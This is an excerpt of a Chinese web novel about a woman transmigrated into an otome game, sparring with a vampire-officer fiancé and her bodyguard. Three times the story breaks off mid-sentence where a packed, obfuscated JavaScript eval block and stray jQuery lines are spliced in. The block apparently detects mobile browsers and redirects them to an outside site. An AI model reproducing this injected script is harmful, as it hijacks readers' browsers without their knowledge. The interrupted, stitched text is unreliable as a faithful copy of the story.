她记得这个家伙是个吸血鬼吧,在人类社会,吸血鬼听起来实在跟“正派”二字不搭噶。
但乙游里,男主角的标签有着其他标准。
纯正的吸血鬼血统配上一份独特的工作,顾言秋靠这些赢得了游戏玩家的喜爱。
伪善的清理局的高层靠伪装成温润如玉的警官获得了正派的称号。
清理局,顾名思义,清理不听话吸血鬼的组织。
顾言秋只会处理和他工作有关的吸血鬼,所以自己现在是被当成吸血鬼了吗?
很好,穿进游戏的第二天因为拯救少女而被误认为吸血鬼。
真是一个好开局。
“有什么忌口吗?”顾言秋如同看菜单一般,一目十行地看着其他文件。
金禾扯着嘴角:“我吃不了太辣。”
搞什么?叫她来警局相亲吗?
“我看金小姐没来赴约,原来是忙着和别人约会,所以我把你们都拉过来了。”
好吧,还真是来相亲的……
话说这个抓人方式是不是有点过于独特了。
“玩笑结束,金小姐,我们需要谈谈正事了,我们在下午两点左右接到了热心市民的举报,有位美丽的女士对一群男子进行抢劫,她还有两名同伙。”顾言秋倒了杯水,推到了金禾面前。
金禾弯下嘴角:“顾警官,这一点都不好笑,证据呢?”
最讨厌笑面虎了。
最讨厌这种看着像坏人的好人了。
“或许他们在相互残杀,你和你的同伴只是见义勇为,及时出现阻止了他们而已。”顾言秋双手交握成拳,手肘搭在桌上。
“是的,顾警官真是料事如神。”
“金小姐,你和我的订婚宴在下个月举行,在此之前希望你能收敛你的脾气。”
什么订婚宴?
为什么她不知道?
金禾的惊愕在脸上无处藏匿,她压下心头的讶异,选择老实当一名乖乖女:“我知道了。”
【由于人手不足,临时给宿主安排了正派的爱慕者身份,也就是他的未婚妻。】
系统看着自家宿主越来越黑的脸色,努力降低自己的存在感。
顾言秋起身走到金禾身旁:“我们聊得很愉快对吗?”
对你个头!
金禾心里这般想着,可面上还是漾起笑容:“对。”
她发觉自己的身份在顾言秋那里十分矛盾。
伪善顾警官没法对自己的未婚妻严刑拷问,也没法对自己手下的嫌疑犯和颜悦色。
顾言秋弯下腰,一手稳稳托住她的手腕,一手解开锁链。
他熟练地将镣铐从她腕间褪下,随手放在一旁的桌上。
下一秒,冰凉的掌心覆上她温热的肌肤,替她轻轻揉搓着那些泛红的浅痕。
嘶……好冰的手。
金禾抽回自己的手,站起身,跟顾言秋保持一臂距离。
“金小姐,饿了吧,我现在带你去吃东西。”
温文尔雅的衣冠禽兽此刻向金禾伸出了手。
金禾眼里闪过犹豫,磨磨蹭蹭地将手搭了上去。
她想不到一位人类能和吸血鬼一起吃什么,吃自己吗?
顾言秋抓准时机,将她手握住,两人一前一后出了审讯室。
等金禾系上安全带才彻底意识到自己上了贼船。
顾言请没主动开口,她也就安安静静地看着窗外的风景。
她微微瞪大了眼睛,看着在街角坐在地上吃着打翻草莓蛋糕的唐懿。
真的很珍爱粮食了……
金禾被这高尚的品格打动,默默给唐懿转去了三十二元。
「金禾」:转账32.00元。
「唐懿」:?
「金禾」:吃播打赏。
唐懿扭动脖子,快速扫向四周,但并未发现金禾踪迹。
「唐懿」:我再给您吃一个?
「金禾」:看腻了。
……
“金小姐不用紧张,我只是希望我们能在婚前形成一定的默契。”顾言秋单手握方向盘,空出一只手调高了空调温度。
金禾放下手机,不解地盯着他的侧颜:“为什么一定要形成默契。”
她觉得顾言秋一定跟不上她的想法,毕竟自己是走在意识前沿的女人。
“我怕在你穿帮时我无法懂得你的意思。”顾言秋微微眯起眼睛,“毕竟金小姐的恢复能力也异于常人,短短几天眼睛就能变得明亮如初。”
短短的数十秒,金禾的大脑遭遇了前所未有的风暴。
她快速捕捉到了“也”字,并且迅速做出反应:“莫非你也……”
顾言秋猛踩刹车,车身一顿,惯性带着金禾狠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890029|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
狠撞向前面。
“抱歉,没看清红灯,金小姐,你说什么?”顾言秋温柔地注视着金禾,等待着她的重述。
眼睛不好就去治啊!分明是故意的。
金禾在心里骂骂咧咧,她掰下遮光板,借着镜子理了理凌乱的头发。
“我喜欢你,我说我、喜、欢、你。”金禾展露出不失礼貌的微笑。
一言不合就说“我喜欢你”就对了,爱慕者就是这样,表达虚假的爱比直面问题来得好使。
顾言秋目光一顿,偏头对着她勾唇一笑:“谢谢,我也很喜欢你。”
金禾脑子空白一瞬,她正了正身子,目视前方。
比起别人说喜欢她,她更习惯别人说讨厌她。
至少别人讨厌她时,她可以不予理睬,可以背后使坏。
但别人说喜欢她,她只会笑脸相迎。
因为这人实在是太有眼光了,居然在茫茫人海中发现她这颗珍珠,即便她本身就亮得发光,她还是会向对方表达感谢。
万分之一的感谢。
暮色余晖穿过高楼缝隙打在拥堵车流上,红色尾灯延伸到远处的十字路口。
金禾无聊中在终端上挑了款小游戏玩起来,一关又一关,就跟堵车一样不知道尽头。
“Unbelievable!”
通关成功的画面特效布满整个屏幕,金禾想做些其他事情,比如一些能让她释放压力的乙游,很可惜,她没法当着未婚夫的面下载乙游。
她回望了那个一直盯着她的人,尽可能让自己的语气显得轻松自在:“顾警官,你想不想做些其他事?比如看自己的终端。”
“我对终端不是很感兴趣,我比较好奇金小姐身体恢复如此之快的秘诀是什么?”
顾言秋语气平和,似乎真的只是单纯好奇。
这人没完没了了是吧。
碰上较真的男主她只能当自己倒霉。
她遗憾地开启了游戏的下一局:“秘诀很宝贵,可能需要订婚后才能告诉你。”
传闻,在顾言秋手底下的犯罪吸血鬼只有死路一条。
除非他要对自己使用屈打成招这一下作手段,自己只能招了。
谁让她怕疼……
金禾也是猜到了在完全确认自己不是吸血鬼之前,顾言秋不会放自己走。
问题来了,这人要通过什么方式确定自己不是吸血鬼呢?
“我会和岳父商量把订婚提前。”顾言秋从口袋里掏出一个婚戒盒子,递给金禾。
“或许得等到婚后,万一你得到秘诀把我抛弃了我会很难过的。”金禾没有接下盒子,她故作苦恼地低下头,眉头拧成一团。
“金小姐,有没有想过那个秘诀活不到那一天呢?”顾言秋推动换档杆,车子停下。
金禾面不改色地玩着游戏:“那我把会等它死那天放到盒子里埋了的。”
顾言秋忽然解开自己的安全带,他倾身靠近金禾。
毫无温度的气息喷洒在金禾脸侧,她依旧还是保持着先前的姿势。
“咔嚓。”顾言秋伸出手打开手套箱。
他手臂下的肌肉线条若隐若现,顺着那几条线,金禾看见了手套箱里的蒙着黑布的硬物。
那轮廓看上去是把枪。
金禾可不想赌命玩这样的游戏,她一向是热爱和平的人。
“金小姐,你跟我比比谁会先拿到那把手枪好吗?”顾言秋揭下盖头,退回到座位上。
5. 邀请
手套箱里赫然放着一支枪,但金禾的注意力都在枪旁边的日用品上面。
红色袋装日用品,里面的液体看上去鲜红美味。
“女士优先。”说罢,顾言秋还做了一个请的手势。
金禾不认为自己速度会快过一只吸血鬼,她也不想玩这个无聊至极的游戏。
在死前,她想捏爆那些果汁袋子,然后把里面的液体浇在顾言秋身上。
苍白的肌肤就应该配上红润的颜色。
她略带犹豫道:“你真的想要秘诀?”
“我只是非常好奇金小姐独特能力的来源,一个正常人都没法将人打到那个地步,更何况你还将人打成了那样。”顾言秋把几名受害者的伤残报告投在了车载屏幕上。
青青紫紫的交错伤痕呈现在眼前,金禾赶忙闭上眼。
她对肌肉男的身体没有兴趣,请不要给一个无知少女看这些东西!
金禾声音忽然变得铿锵有力:“那不是我打的,那是我的保镖打的。”
保镖就是用来替自己挡刀挡枪挡罪的。
“有热心市民向我们提供了金小姐拳击的部分珍贵录像。”
“顾警官,你知道的……我的父亲他有的是办法替我洗清冤屈。”金禾将手默默伸向手套箱。
忽然面前有黑影闪过,金禾还未看清那支枪,它就已经消失在她视野里了。
黑黢黢的枪口对着脑袋,金禾内心慌乱,可表面还是云淡风轻地打开果汁袋子,轻轻抿了一口。
甜腻的味道在口腔里漫开,她不可置信地再次喝了一口。
她盯着没有商标的袋子,心里冒出疑惑。
这还真是果汁啊,不应该是什么血族饭后甜点吗?
“哔哔哔。”
前面的车往前挪动,后面的车按着喇叭催促着他们前进。
金禾含着饮料,模糊地发出一些音节:“顾警官,不开车吗?”
她喝了几口觉得这玩意味道还不错,横竖都是死,请让她不要口干舌燥的死去。
喝完一瓶,她又开了一袋饮料,将口撕到最大。
“嘭。”
一阵枪响过后,一袋红色液体飞到空中,跳跃、旋转,最后尽数洒到顾言秋白色的裤子上。
艳丽的色彩绽放,一时间,车里本就不太流通的空气彻底凝结。
从枪口弹出的弹簧小花轻吻着金禾的脸颊。
金禾狂抽纸巾,动作麻利地将厚厚的纸盖在了那白裤子上。
“对不起,我不是故意的。”
她眼底没有愧疚,全是报复得逞的快感。
乙游里顾言秋的定位就是一个有责任感却没有正义感的正派,他所做的一切都是为了工作,就当是为了工作,他也只会默默将自己处理掉。
“没关系。”顾言秋眼神平静无波,他倏然把金禾的手按在他腿上,“麻烦金小姐帮我擦干净了。”
金禾意识到了眼前人就是个厚脸皮,居然叫别人帮他擦裤子。
但是她不喜欢服务别人,只喜欢让别人服务她,所以她潦草地帮顾言秋擦了两下之后将垃圾扔回到了他位子上。
“扣扣扣。”车后的司机满脸通红,愤怒地敲击窗户。
零零碎碎的词语从窗户里钻进来,即便没开窗,金禾也能瞧出来这人骂得有多脏。
顾言秋降下车窗,饱含歉意地对司机道歉:“抱歉,小哥,我妹妹闹脾气要跟我抢方向盘,我实在是怕出事故,现在我们已经沟通好了,之后我会好好教训她的。”
年过半百但是被叫“小哥”的司机顿时哑了声,乙游男主自带的光环成功让路人NPC的怒火转移到金禾身上。
“小姑娘,你这事做得太不地道了!怎么能拿自己和家人的生命开玩笑呢!”
金禾试图通过莞尔一笑来平息路人的怒火,可她的笑实在是过于牵强,以至于看上去像是不服输的挑衅。
在路人的讨伐中,她渐渐失了耐心,她抽出纸巾捂着脸,潸然泪下,哽咽道:“哥哥,对不起,可是我们是兄妹,兄妹是没有办法在一起的!”
路人的火气瞬间熄灭,他几次张口,欲言又止,最后摇摇头回车上了。
金禾大为震惊。
怎么就这么走了,不抨击一下这位丧尽天良的哥哥吗?
顾言秋启动车子,继续龟速行驶在路上,他不知从那里又掏出来那支枪,语气平淡:“金小姐,辛苦你把枪收起来。”
“这把手枪能送给我吗?”金禾接过手枪,把掉在垫子上的假花重新缠到了弹簧上。
顾言秋没有回答她,她就当他默认了。
夜色渐浓,星星点点的光挂在远处的高楼上。
车子驶入一个小区,进入车库,此刻,金禾已经饿得头晕目眩。
她觉得胃里的蛔虫都要饿得啃她的肚子了,可顾言秋只是在前面带路。
一点也不贴心,一点也不正派,摊上这个未婚夫只能算她倒霉。
金禾拖着饥肠辘辘的身体,慢吞吞地跟在后面。
“我们去哪里?”她扣住顾言秋的腰带,大有一副他不回答自己,自己就发疯的架势。
“我家。”顾言秋把手伸向后头,一把抓住金禾的手,而后将她禁锢在身侧,“给我另外一只手。”
“不要!”金禾学着那些不想回家的孩子,蹲在地上,把另一只手藏到身后。
“金小姐,我不要逼我拿出镣铐。”顾言秋转身正对着她,语气里暗含威胁,他已经将金禾视为一个为祸人间的吸血鬼,他不能放任这个家伙自由行动。
金禾把脑袋埋得低低的,眼珠子滴溜溜地转着。
“顾警官,你这样我害怕。”
顾言秋语气软下来,他嘴角噙着笑,眼底却不含一丝感情:“这是为了确保他人的安全。”
他不带一丝犹豫拿出镣铐铐住了金禾的其中一只手。
“那谁来确认我的安全?”金禾酝酿的眼泪在眼眶里打转,她慢慢抬起脸,豆大的眼泪顺着她脸颊滑落。
看见没有警官,你的未婚妻现在是多么害怕,多么无助。
所以请你不要再威胁这个美丽的女士了。
“我会确认你的安全。”他把镣铐的另一头铐到了自己手腕上。
金禾瞳孔一颤,在心中咆哮,跟你待在一起才是个最危险的!
她能不能把这人挂到回收二手的软件上,顺便标注99新。
“真的吗?”
“真的。”
臭不要脸,你还真敢应下。
金禾抹去眼泪,在心里找好了新的替罪羔羊。
“我之前其实力气没有这么大的,自从移植了视网膜才变成这样的,包括恢复能力也是……”
“我知道了。”顾言秋将金禾从地上捞起来。
……
“叮。”电梯到达。
顾言秋走在前面拉开门:“请进,金小姐。”
金禾侧身将半个身子探入屋内,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890030|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二人手连在一起,她怕手铐弄疼自己,牵住顾言秋的手往屋子里拉着。
灯藏在天花板的周围,客厅空空如也,只有深棕色的木质地板反射着微弱的光。
“我们婚后我也要住在这里吗?”金禾扫视着这复古老穷风的房子,觉得过于昏暗,连家具都少得可怜。
活了这么久的吸血鬼为什么这么崇尚简洁?
不过这个房子金禾注定是没法常住的,顾言秋的未婚妻唯一的作用就是帮助他融入人类社会。
她记得顾言秋每次都会在结婚前帮助自己的未婚妻移情别恋。
真希望对方能为自己挑个好男人。
“我会联系装修公司把这里装修成你喜欢的风格。”
金禾违心道:“我觉得这个房子很漂亮,只是需要多一些家具。”
“我去做饭给你吃。”顾言秋从兜里掏出钥匙,解开镣铐,随后把金禾扣在了餐桌旁。
不多时,一碗黑米蛋炒饭被端上桌。
金禾苦着脸,她不想吃黑乎乎的蛋炒饭。
顾言秋也看出金禾的不情愿:“我还是给你点外卖吧。”
“算了,你喂我吃吧……啊……”金禾张大嘴巴,闭上眼睛,眼不见为净。
她不理解吸血鬼为什么要拿黑米炒蛋。
嘴巴里被塞进了一小勺饭,金禾细细品尝着。
里面加了鸡蛋、蒜、葱花……
不知道是不是饿了太久了,她觉得这个蛋炒饭格外美味。
“啊……”金禾眼睛亮晶晶地盯着勺子,等待着下一轮投喂。
顾言秋敲了敲空空的盘子:“没有了,我去打个电话,你等等。”
接通终端后,他消失在转角。
【现在给宿主转述通话内容。】
“她不是吸血鬼,她吃了含有圣水的饭还平安无事。”
“你tm是不是sb,你拿圣水给人炒饭吃?”
“嘟嘟嘟。”顾言秋毫不犹豫挂断电话。
电话回拨,他足足凉了对方一分钟才接起。
“那个视频和先前她手术后抽出血液的监测结果出来了,金禾只是一个普通人类。”
“所以她只是一个力气很大,恢复能力很强的人类?”顾言秋沉默了几秒,“我们清理局还缺几名人类,你想办法让她加入。”
“拜托,大哥,你不是她未婚夫吗?为什么让我来邀请她?”
“嘟嘟嘟。”顾言秋再次挂断电话。
他从房间走出,便见金禾在抽着他的纸巾玩,她将纸巾撕碎,又揉成一团。
“抱歉,让你久等了。”
“不久,我吃完饭了,我打算回家了,这个可以送我吗?”
金禾把双手摊在桌子上,手心赫然躺着一副手铐。
“当然。”顾言秋没有纠结金禾是怎么拆开这个手铐的,在他看来,金禾的行为本身就是很难预测,她有太多可能性了。
金禾从椅子上站起来,她不紧不慢走到顾言秋身旁,摊开手掌:“钥匙能给我吗?”
“当然可以。”顾言秋将一把小巧的银质钥匙放到她手心。
“你觉得我们应该怎么培养感情?”金禾板着脸,眼底浮现严肃。
顾言秋几乎是立刻从自己过去的语言系统里翻出了标准答案:“一周见一次。”
“好啊。”金禾弯唇一笑,“我有个东西送给你。”
她抓住了顾言秋的手腕,往前迈出一小步,贴近他的胸膛。
6. 奶奶
“你送我回家吗?”金禾仰着头,一双眼睛盛着星光,装满期待。
“送你回家是我的荣幸。”
顾言秋退后一步,手撑在后面的镂空的网状隔断墙上。
“咔嚓。”金禾以迅雷不及掩耳之势将顾言秋的手铐在墙上,而后在对方没有反应过来时逃之夭夭。
从此之后,顾言秋对于她的评价多了一个“反应速度超常的人类”。
她哼着歌,手指上套着钥匙圈,兴高采烈地走在大街上。
期待达成,她露出了今天最真诚的微笑。
金禾用终端给唐懿发去讯息。
「金禾」:来接我。
「唐懿」:我从明天才开始上班。
「金禾」:我付了三十天的工资,你不能送我一天?
屏幕上方显示了许久的“对方正在输入中”。
「唐懿」:可以。
「金禾」:[定位]
「唐懿」:收到。
街道旁的面店里的客人进进出出,金禾在原地一动不动。
终端一阵震动。
「唐懿」:我没看到你。
金禾站在街道旁的大石墩上。
「金禾」:看见了没有?
「唐懿」:看见了。
“哒哒哒。”
一辆共享单车从街角缓缓驶来。
金禾看着车上所剩无几的位子,抿唇不言。
她以为唐懿至少会找一辆能容纳两人的交通工具来接她。
果然免费没好货,送的天数就是不靠谱。
她轻轻叹了口气:“哪里还有共享单车,我再扫一辆。”
唐懿从车上下来,解下头盔,安在金禾头上。
“你骑这辆吧,我晚点拿回自己摩托车再送你回家,可以吗?”
“可以,但是我不戴头盔。”
邋遢女人不想晚上洗头。
唐懿摘下头盔:“好,不想带就别带。”
【带上男主,有机会触发两公里外烧烤摊上的恋爱脑长出事件,请宿主注意。】
”金禾肚子里的蛔虫似乎又饿了,她无奈地摸着肚子,“我带你去吃烧烤吧。”
沿路的各种灯照得黑夜如白昼,忽然,隐秘在拐角的交警趁着金禾等红绿灯时将她逮住:“头盔没戴,身份信息给我扫描一下。”
金禾老实打开终端,余光恰好瞄到了唐懿面上一闪而过的幸灾乐祸。
她严重怀疑这个唐懿明知道有交警还不提醒自己。
交警遗憾地挥了挥手:“初犯不罚钱,下次注意。”
“好……”金禾带上了最终还是戴上了那顶头盔。
不一会儿,他们到了一处烧烤摊前。
金禾浅浅扫了眼四周,或许是因为还没到点,门口坐着的人不算多。
她随便找了位子坐下,跷着二郎腿,对着唐懿道:“今日我请客。”
唐懿点好菜后坐在了金禾对面,抽了几张纸擦去了桌上的油渍。
“保镖具体需要做什么?”
金禾聘请唐懿当保镖的还有个原因是她需要一个能随时带在身边的男主,这个男主用于触发随机恋爱脑事件。
“我的管家之后会联系你。”她抖着腿,瘫在椅子上,不见半点千金大小姐的优雅。
老板一起将烤串端了上来,刚烤完的烤串冒着热气,孜然和烤肉的香气混合在一起。
金禾捏起铁签,吃得满嘴油。
唐懿拿着吃着一半的羊肉串,眼睛一刻都没离开过金禾:“金禾,你和之前不太一样。”
“因为我把真的金禾给杀了,你要报警抓我吗?”
金禾坦然地望着唐懿,那个眼神仿佛在说“就是我杀的,怎么着,你要打死我吗”,她看起来像是个毫无悔过之意的杀人犯。
唐懿把盘子推到她面前:“我会帮你瞒下来。”
“不对,你要帮我处理掉那个人。”
“叭叭叭。”
一辆摩托车停到他们身旁,拍了两下喇叭。
车上的人摘下头盔,正是白天的那名在酒吧里的酒保。
酒保把车钥匙拍到桌上,扫着边上听着的共享单车走了。
金禾看着面前全程无交流的两人,宛如在看一场哑剧。
她直接把车钥匙放到了自己口袋里,她摸着满满登登的口袋,心里逐渐被填满满足感。
果然还是别人的东西好,待会就开着这车跑路。
“噼里啪啦。”
一旁桌上的盘子被扫落在地,那里坐着的情侣倏然爆发了激烈的争吵。
“你为什么总是计较这些?”女生蹙眉把地上的盘子捡起来。
男生叉着腰,语气里夹杂着怒火:“你讲点道理好不好?是你先看不起我的。”
“我怎么看不起你了?我平时跟你出来时时刻刻顾及你感受,我甚至开车给你拍照都要把车标截掉。”
男生背过身,吼道:“我不需要,这不是我让你这么干的!”
他说完这话,头也不回地离开。
【目标女生已出现。】
金禾咽下嘴里的四季豆,她真心觉得这个女生的恋爱脑已经长出来了,只不过那个恋爱脑是不是针对男主角的。
女生眼眶里眼泪打转,她仰起头努力让眼泪不落下来。
金禾从口袋里掏出她常备的纸手帕,她微微弯身将纸巾塞到对方的手心。
“谢谢。”女生接过纸巾擦去泪水,在看清金禾的那瞬瞳孔一颤,“奶奶?”
金禾挂在嘴角的温和笑容逐渐凝固。
她认出这女孩是南家的三小姐,二人也只见过一次。
这女孩记性真好,一次性就能记住自己继奶奶长什么样。
“啊?”金禾瞪大眼睛,大大的眼睛装着大大的迷茫。
“对不起,我认错人了。”南芷被认错人的尴尬情绪包围,她的伤心顿时消失了大半。
不远处来了几个大腹便便的中年男人,他们刚坐下来就把目光放到了金禾二人的身上。
几人眼神交流一番,一位代表上前向他们搭话。
“美女,能给个联系方式吗?”代表举起终端,他嘴角的笑像是蜗牛壳上的漩涡一样扭曲,扭着扭着喷出一堆黏腻恶心的话语,带有腐蚀性的话黏在别人心上,恶心还扒不掉。
南芷摆摆手,不去看他,低声道:“不好意思。”
蜗牛的粘液能持续的产出,令人难受也能话语源源不断涌出。
“我请你吃东西吧。”金禾恨不得让自己的笑变成一把刀刺向这位代表。
为什么微笑不能杀人呢?
代表大方地一挥手:“我请你们吃。”
金禾拔出从顾言秋那里拿到的枪,她扬起真诚的笑:“我请你吃枪子。”
随着枪的拔出,代表们嘴上的笑瞬间石化,他们如同雕像般一动不动。
这是他们最老实的时候。
金禾拉着南芷退到摩托车旁边,冷静道:“你先上去。”
等南芷上去后,她按下扳机。
“嘭。”
弹簧弹出,尿臊味漫开。
唐懿看着远去的摩托车,给金禾发去短信。
「唐懿」:头盔。
烧烤店的老板拿着未烤熟的串就跑过来了,对着摩托车的尾气喊道:“你们没付钱!”
唐懿提高音量:“我来付,多少。”
“两桌254。”
“老板,帮我把剩下的打包带走。”
……
耳边的风像是要敲碎耳膜,腰间的力道越来越紧,金禾慢慢按下刹车。
两人坐在河边的石凳上,看着河水流到看不见的尽头。
南芷闷闷道:“我原本是想让他参加我的生日宴的,但是他不敢见我的父母,现在我的生日宴少了一人。”
金禾拍了拍她的背,随口一说:“我可以去你的生日宴啊。”
“好啊,我给你发请帖,我们加个联系方式吧。”南芷破涕为笑,一双丹凤眼在路灯下神采奕奕。
南浔和南芷生得极其相似,特别是那双眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890031|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睛。
金禾脑海里忽然闪过那双在仓库里漆黑的眼仁,她稀里糊涂和南芷加了联系方式,又看着南芷上了自己家里人的车。
【宿主魅力值加一,目前魅力值:2。】
金禾看着车子的尾灯消失在视野里,捂着头蹲下身。
完蛋了完蛋了,自己要是在生日宴上被人认出来了怎么办?
她懊恼地看着南芷发来的生日邀请函,盯着上面的日期。
这不就是明天吗?早知道不答应了。
一个温柔善良的奶奶不忍心自己的孙女伤心,所以金禾还是决定要去参加一样。
此刻,根据摩托车定位找到金禾的唐懿默默在不远处盯着她,顺手给她发去消息。
「唐懿」:今天开销给报吗?
「金禾」:给,找管家报销。
[附:人生如梦(管家)名片]
「唐懿」:收到。
金禾一向对视线很敏感,她早早就发觉了唐懿,但她只是待在原地等着对方出现。
第一个原因是她懒得动和说话,第二个是她希望培养员工的自觉性。
风吹得树叶沙沙作响,周围散步的人渐渐离去,到最后只剩下了他们二人。
金禾忍无可忍地向唐懿发去短信:
「金禾」:保镖请自觉地找到老板并为老板提供服务。
「唐懿」:我东西还没吃完,怕醺到老板。
金禾起身朝着唐懿的方向眺望,正巧看见他把最后一根铁签扔到了垃圾桶里。
她刚刚还以为这人已经洗心革面了,没想到这人还是这样目无老板。
【宿主,监测到另外一副身体有男主靠近,是否转移身体。】
“现在吗?”金禾目光一凝,“你能为我转载另外身体的画面吗?”
【抱歉,宿主,我如今能量不足……】
金禾一屁股坐在石凳上,自己都快忘记系统能量不足这个事情了。
说不定魅力值没满,系统到时候就没有电了。
如果系统没电,自己又被病毒附身的话……
她需要从那些男主们身上给系统找能量。
金禾:“你能量能用多久?”
【不出意外的话,能撑到消灭病毒!】
一般不出意外的话,就要出意外了。
攻略系统都是靠攻略值存活的,五位男主每人攻略值弄个10就差不多了吧。
算了,时间还早,暂时不考虑这个好了。
【南浔已靠近,宿主是否转移身体?】
“是!”话落,金禾意识逐渐沉没。
她坚信保镖一定会送老板回去的。
不对,她好像忘记告诉唐懿她住哪里了……
心声还没结束,她已昏了过去。
唐懿去附近的公共厕所洗完手后才去找到金禾。
他注视着那抹瘦弱的身影,沿着石阶走到了她身边。
他没有去看金禾的眼睛,只是垂着头,一言不发地坐到她边上。
微弱的灯光倒映在湖面,泛起点点星光。
一股清香顺着风钻入鼻腔,左肩微微一沉。
唐懿下意识想躲开,但还是硬生生忍住不动。
他被自己一闪而过的想法震惊到了,他居然害怕自己身上的烧烤味会熏到金禾。
他慢悠悠地开口:“金老板,靠肩膀是另外的价钱。”
等了许久,回应他的只有那潺潺的流水声,他渐渐意识到金禾想要赖账。
算了,反正这一天是送她的。
他心里这般想着,身体也不自主放松了下来。
一段均匀的呼吸声在耳畔回响,他感觉到肩膀上的重量慢慢偏移。
在金禾脑袋即将掉下来的那刻,他扶住了那巴掌大的脸蛋,并帮她摆正。
他提高音量道:“喂,这里不能睡觉!”
草丛里的虫鸣没过了他抱怨的声音,他拿起终端点击添加金禾管家好友。
「唐懿」:你好,我是唐懿,你家小姐现在在我手上。
7. 羞辱
「管家」:你要多少钱?
「唐懿」:今天不用给,下次需要把钱打这里。
[附:银行卡号]
「管家」:请不要伤害我家小姐,钱我立刻打给你。
终端对面的管家大惊失色,额头瞬间冒出细细密密的冷汗。
「唐懿」:你误会了,我是金老板聘请的保镖。
「管家」:好的,请快点送她回家[握手][握手]。
「唐懿」:收到[握手][握手]。
另一头,在市中心医院VIP病房的金禾在床上动弹不得,她就像是一滩没有支撑的软体动物,浑身使不上力。
黑暗的世界里,一只宽大的手伸到被窝里,如同涨潮的浪花慢慢包裹住了她整只手。
“医生让我陪你多说说话,你想听什么?”南浔捏了捏金禾的手,他第一次发觉原来她的手这么软。
孙子,你觉得我能跟你说话吗?
金禾完全理解不了边上这人是抱着什么心理询问一个“植物人”问题的。
南浔帮金禾拨开了额前的碎发:“谢谢你昨天挡在我身前。”
她什么时候替南浔抵挡伤害了,她自己怎么不知道。
系统带来了这个问题的答案。
【游戏程序当时控制了你飞扑到男主面前。】
金禾心里的小人已经把眉头皱在了一起,她好想把南浔痛扁一顿。
难怪她现在昏迷不醒,原来是男主的主角光环害得自己替他挡车。
这游戏简直丧尽天良,这么能这么欺负npc!
“我今天在商场买了一条项链送给你……这是我第一次给人买东西。”
金禾在脑子里对着南浔喊道:“你妹妹明天生日你给我买礼物干嘛!”
你这个不解风情的男人,你应该给你妹妹买。
【宿主7日后就能苏醒。】
“先让我晕着吧,我也没有很想醒。”
金禾控制一个身体已经够呛了,还让她再来一个,到时候自己肯定吃不消。
这个身体晕完那个身体晕,转移身体的过程中太容易发生意外了。
“我给你读绘本,医生说这个对你有帮助。”南浔从公文包里面拿出一本绘本,“青蛙王子,很久很久以前……”
庸医!这简直是庸医!
金禾心里一边想着,一边吐槽着南浔选绘本的眼光。
她听得昏昏欲睡,大脑渐渐停了思考。
“公主轻吻了青蛙,青蛙变成王子。”
南浔读到这里语气一顿,他没有继续读下去,他合上绘本,凑近金禾。
温热的气息打在脸上,脸颊泛起痒意。
金禾好想拿胶带把眼皮贴起来,看看这人究竟为什么要凑自己那么近。
一个冰凉的链条贴在皮肤上,金禾立刻意识到南浔是为她戴项链。
“金禾。”
金禾在心里回应:“干嘛!”
“明天你想听什么?”南浔捻走了金禾脸上的脏东西,“我给你读你的日记好吗?医生说适当需要给病人一点刺激。”
庸医啊庸医!
一个敢说一个敢信,你们真是天生一对。
谁家正常人给病人读自己日记的,南浔你脑子是不是有坑?
金禾感觉自己真的下一秒就要“诈尸”了。
愤怒的火焰顺着四周蔓延开来,一旁的监护仪发出尖锐的叫声。
南浔惊慌失措地拍下床旁边的呼叫铃。
“滴滴滴。”
……
“滴滴滴。”屏幕上的方块整齐划一地被消除。
金禾费力地睁开眼,视线往旁一扫,便看见唐懿在玩俄罗斯方块。
她嘟哝道:“好吵。”
“你睡了半小时。”唐懿关闭终端,起身垂首盯着金禾,“送你回家。”
她遮住嘴巴,懒懒打了个哈欠:“好。”
……
狂风从耳边卷过,头发毫无规律地抽打着金禾的脸。
有点疼。
她时不时换张脸贴住唐懿的坚实的后背。
“我家地址给你了,对了,你平时住哪里?”她怕风带走自己的声音,这句话几乎是吼出来的。
“宿舍。”
“那你现在暑假住哪里?”
两人都是H大的大三学生,只不过金禾学得是工商管理,而唐懿学的是计算机,两人在学校三年从没有见过对方。
“宿舍。”
又是一模一样的答案。
金禾抱着唐懿的手不由紧了几分,结实的触感让她一愣。
呦!质感不错呦!
起码就身材而言,唐懿还是不错的,但金禾还是觉得他有点太瘦了。
她摊开手掌,贴着衣服料子,上下求索。
这漫长的道路,她需要好好探索一下生命结构的真理。
啊!多么有探寻精神的老板啊!
唐懿,你真要好好谢谢我!
唐懿硬生生忍住把金禾扔下车的冲动,可这人丝毫不见收敛,他声音忽然冷了下去:“把手松开一些。”
